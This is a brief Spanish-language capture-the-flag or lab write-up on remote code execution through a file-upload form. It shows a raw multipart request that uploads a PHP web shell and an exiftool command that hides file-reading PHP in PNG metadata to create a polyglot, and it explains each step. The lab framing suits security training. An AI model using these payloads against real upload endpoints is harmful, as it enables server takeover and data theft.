Remote code execution via polyglot web shell upload

En el apartado de subir un avatar del sitio intentaremos subir un archivo malicioso.

------geckoformboundary69c2b45d1abe6b2d1eb23f1635e77264
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

------geckoformboundary69c2b45d1abe6b2d1eb23f1635e77264

Content-Disposition: form-data; name="user"

al intentar subir el archivo este nos dice que no puede subir el archivo debido a que esta permitido.

❯ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" web-shell.png -o polyglot.php
    1 image files created

Este comando usa ExifTool para crear un archivo políglota que es tanto una imagen PNG válida como un script PHP. Te lo explico paso a paso:

• exiftool -Comment="..." - Modifica el metadato "Comentario" de la imagen
• El código PHP dentro del comentario: <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>
• web-shell.png - El archivo de entrada (imagen PNG original)
• -o polyglot.php - Guarda el resultado como polyglot.php

Lo que se crea:

Un archivo políglota que:

• Como PNG: Sigue siendo una imagen válida (los visores ignoran el código PHP en los metadatos)
• Como PHP: Cuando un servidor PHP lo interpreta, ejecuta el código para leer el archivo secreto de Carlos

Ahora intentamos subir:

el archivo se sube sin restricciones.

Luego podemos llamarlo y obtener la flag.